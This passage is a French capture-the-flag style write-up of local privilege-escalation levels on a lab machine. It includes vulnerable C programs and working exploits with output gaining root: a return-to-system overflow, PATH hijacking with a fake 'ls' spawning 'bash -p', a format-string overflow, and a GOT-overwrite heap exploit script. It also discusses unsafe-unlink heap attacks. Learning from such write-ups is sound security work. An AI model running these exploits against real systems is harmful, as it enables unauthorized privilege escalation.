AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo|"�
Segmentation fault
tux@tux:~/0x04$ dmesg | tail -1
[273867.824116] pwnme[30552]: segfault at 41414141 ip 41414141 sp bffff710 error 14
On peut reproduire avec gdb
et regarder la stack au moment du crash :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tux@tux:~/0x04$ gdb -q ./pwnme
Reading symbols from ./pwnme...(no debugging symbols found)...done.
(gdb) r input
Starting program: /home/tux/0x04/pwnme input
Good.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo|"�
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e643e0 <__libc_system>
(gdb) x/4wx $esp
0xbffff6e0: 0x0804a008 0x0804866f 0x0804987c 0x08048622
(gdb) x/s 0x0804866f
0x804866f: "r"
On voit qu’un pointeur vers le caractère r
est présent (hasard total). Si on écrase l’adresse de retour par celle de system()
le programme va alors exécuter r
. On peut faire en sorte qu’il y ait un programme de ce nom dans le PATH :
1
2
3
4
5
6
7
8
tux@tux:~/0x04$ cp `which id` r
tux@tux:~/0x04$ export PATH=.:$PATH
tux@tux:~/0x04$ python -c 'import sys; import struct; sys.stdout.write("!!" + "A" * 1036 + struct.pack("<I", 0xb7e643e0))' > input
tux@tux:~/0x04$ ./pwnme input
Good.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�C�o|"�
uid=1000(tux) gid=1000(tux) euid=0(root) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
Segmentation fault
Level 0x05
On est dans un cas des plus simples. Assez étrange étant donné tout ce que l’on a résolu jusqu’à présent :
1
2
3
4
5
6
7
8
9
// gcc pwnme.c -o pwnme
#include <stdio.h>
int main( void ) {
puts("Content of /home/tux:");
system("ls -l /home/tux");
return 0;
}
Il suffit d’agir sur le PATH :
1
2
3
4
5
6
7
tux@tux:~/0x05$ echo -e '#!/bin/sh\nbash -p' > ls
tux@tux:~/0x05$ chmod 755 ls
tux@tux:~/0x05$ export PATH=.:$PATH
tux@tux:~/0x05$ ./pwnme
Content of /home/tux:
bash-4.3# id
uid=1000(tux) gid=1000(tux) euid=0(root) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
Level 0x06
On a une faille de format string mais pas uniquement puisque la destination du sprintf
est sur la stack :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// gcc -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <string.h>
int dummy(const char * data) {
char buff[64];
if(strlen(data) > 64)
puts("Bad dog!");
else {
sprintf(buff, data);
puts(buff);
}
return 0;
}
int main(int argc, char **argv) {
dummy(argv[1]);
return 0;
}
Le code ne lit que 64 octets mais avec une bonne chaine de format on peut faire déborder buff
et provoquer un stack overflow. Il nous suffira de reprendre les adresses de system
et /bin/sh
comme précédemment :
1
2
3
4
5
6
7
8
9
tux@tux:~/0x06$ ./pwnme '%64xAAAABBBBCCCCDDDD'
2c0003fAAAABBBBCCCCDDDD
Segmentation fault
tux@tux:~/0x06$ dmesg | tail -1
[274963.809235] pwnme[991]: segfault at 44444444 ip 44444444 sp bffff710 error 14
tux@tux:~/0x06$ ./pwnme `python -c 'print "%64xAAAABBBBCCCC\xe0\x43\xe6\xb7" + "\x69\x5a\xf8\xb7"*2'`
2c0003fAAAABBBBCCCC�C��iZ��iZ��
# id
uid=1000(tux) gid=1000(tux) euid=0(root) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
Level 0x07
On est sur un cas de heap overflow où l’on doit écraser des pointeurs laissés par l’auteur du code :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// gcc -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct member {
int id;
char *name;
} member;
void main(int argc, char **argv)
{
struct member *m1, *m2, *m3;
m1 = malloc(sizeof(struct member));
m1->id = 1;
m1->name = malloc(8);
m2 = malloc(sizeof(struct member));
m2->id = 2;
m2->name = malloc(8);
strcpy(m1->name, argv[1]);
strcpy(m2->name, argv[2]);
exit(0);
}
En mémoire 20 octets séparent le premier nom du second nom.
Je mets aussi un boût du dump assembleur du main()
car ce sera utile pour la compréhension de l’exploitation :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
(gdb) x/30i 0x080484b9
0x80484b9 <main+94>: push $0x8
0x80484bb <main+96>: call 0x8048320 <malloc@plt>
0x80484c0 <main+101>: add $0x10,%esp
0x80484c3 <main+104>: mov %eax,%edx
0x80484c5 <main+106>: mov -0x10(%ebp),%eax
0x80484c8 <main+109>: mov %edx,0x4(%eax)
0x80484cb <main+112>: mov 0x4(%ebx),%eax
0x80484ce <main+115>: add $0x4,%eax
0x80484d1 <main+118>: mov (%eax),%edx
0x80484d3 <main+120>: mov -0xc(%ebp),%eax
0x80484d6 <main+123>: mov 0x4(%eax),%eax
0x80484d9 <main+126>: sub $0x8,%esp
0x80484dc <main+129>: push %edx
0x80484dd <main+130>: push %eax
0x80484de <main+131>: call 0x8048310 <strcpy@plt>
0x80484e3 <main+136>: add $0x10,%esp
0x80484e6 <main+139>: mov 0x4(%ebx),%eax
0x80484e9 <main+142>: add $0x8,%eax
0x80484ec <main+145>: mov (%eax),%edx
0x80484ee <main+147>: mov -0x10(%ebp),%eax
0x80484f1 <main+150>: mov 0x4(%eax),%eax
0x80484f4 <main+153>: sub $0x8,%esp
0x80484f7 <main+156>: push %edx
0x80484f8 <main+157>: push %eax
0x80484f9 <main+158>: call 0x8048310 <strcpy@plt>
0x80484fe <main+163>: add $0x10,%esp
0x8048501 <main+166>: sub $0xc,%esp
0x8048504 <main+169>: push $0x0
0x8048506 <main+171>: call 0x8048340 <exit@plt>
0x804850b: xchg %ax,%ax
On devine qu’avec le premier strcpy
on peut déborder et écraser m2->name
qui est utilisé plus tard pour un strcpy
. On a donc une situation write-what-where
(écrire ce que l’on souhaite où l’on souhaite).
Toutefois on ne peux écraser qu’un seul bloc contigu de données. Ecraser exit()
par system()
n’a pas d’intérets car on ne contrôle pas l’argument qui est poussé sur la stack.
Tout va se jouer sur les offsets des différents symboles de la GOT :
1
2
3
4
5
6
7
8
9
10
11
12
(gdb) x/i strcpy
0x8048310 <strcpy@plt>: jmp *0x8049788
(gdb) x/wx 0x8049788
0x8049788 <strcpy@got.plt>: 0x08048316
(gdb)
0x804978c <malloc@got.plt>: 0x08048326
(gdb)
0x8049790 <__gmon_start__@got.plt>: 0x08048336
(gdb)
0x8049794 <exit@got.plt>: 0x08048346
(gdb)
0x8049798 <__libc_start_main@got.plt>: 0x08048356
Avec une seule écriture on peut donc écraser à la fois l’adresse de strcpy
et cette de exit
.
On va faire en sorte que exit
remonte l’exécution dans le main (à l’adresse 0x080484c5
, voir dump assembleur) où il pourra appeller à nouveau strcpy
qui aura entre temps été remplacé par system
.
Lors de ce second appel, system
est appelé avec la chaine passée via argv[1]
. On va donc y placer notre commande plutôt qu’un simple padding.
Exploit :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import os
from struct import pack
strcpy_got_plt = 0x8049788
system = 0xb7e643e0
main_strcpy = 0x080484c5
arg1 = "/bin/sh;"
arg1 += "#" * (20 - len(arg1))
arg1 += pack("<I", strcpy_got_plt)
arg2 = pack("<I", system)
arg2 += pack("<I", 0xdeadbeef) * 2
arg2 += pack("<I", main_strcpy)
os.execve("./pwnme", ["./pwnme", arg1, arg2], os.environ)
1
2
3
tux@tux:~/0x07$ python exploit.py
# id
uid=1000(tux) gid=1000(tux) euid=0(root) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
Level 0x08
On a ce code source qui rappelle très fortement le heap3 de protostar :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// gcc -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(int argc, char **argv) {
char *p1, *p2;
p1 = malloc(64);
p2 = malloc(64);
strcpy(p1, argv[1]);
free(p2);
free(p1);
exit(0);
}
La différence est toutefois de taille car ici le binaire est linké et que la libc présente sur le système est la 2.19 or l’allocateur est ptmalloc2
depuis le libc 2.3.
ptmalloc
est une version plus moderne de dlmalloc
qui gère mieux les threads mais surtout l’ancienne attaque qui était possible échoue :
1
2
3
4
*** Error in `/home/tux/0x08/pwnme': free(): invalid pointer: 0x0804a050 ***
Program received signal SIGABRT, Aborted.
0xb7fdcd40 in __kernel_vsyscall ()
Je ne souhaite pas entrer dans les détails mais depuis une vérification a été ajoutée qui s’assure que les pointeurs FD et BK des chunks libérés suivant et précédents ramènent bien vers le chunk libéré courant :
1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
Sur how2heap
est documenté la technique unsafe unlink qui bypasse cette restriction. Pour réaliser cet exploit la technique consiste à réutiliser un pointeur existant dans la mémoire du programme et à placer un faux chunk à l’emplacement pointé.
Quand un chunk est alloué, l’adresse du buffer est stockée dans la stack, c’est le pointeur dont l’adresse correspond à la section de données du chunk (adresse retournée par la fonction malloc()
).
La technique consiste donc à placer le faux chunk directement dans le bloc de données et à s’assurer que les entrées FD et BK du faux chunk remontent un peu avant l’adresse du pointeur (lié au fait que FD et BK sont à des offsets différents dans la structure d’un chunk).
Lors de la libération par l’appel à free()
le pointeur présent sur la stack est écrasé ce qui fait que si le pointeur est utilisé plus tard (par exemple via strcpy()
) alors on contrôle où l’on écrit.
Cette méthode est drôlement futée mais, comme dans l’exemple de how2heap
, elle repose sur le fait qu’une écriture soit effectuée sur le premier chunk après la libération du chunk 2 ce qui n’est pas le cas ici.
Bref ce level n’est en réalité pas exploitable. Il existe d’autres méthodes documentées sur how2heap
mais la plupart permettent de faire en sorte que malloc()
retourne une adresse de notre choix ce qui là encore n’est pas applicable pour nous, la copie se faisant uniquement sur le premier chunk.
Publié le 12 février 2023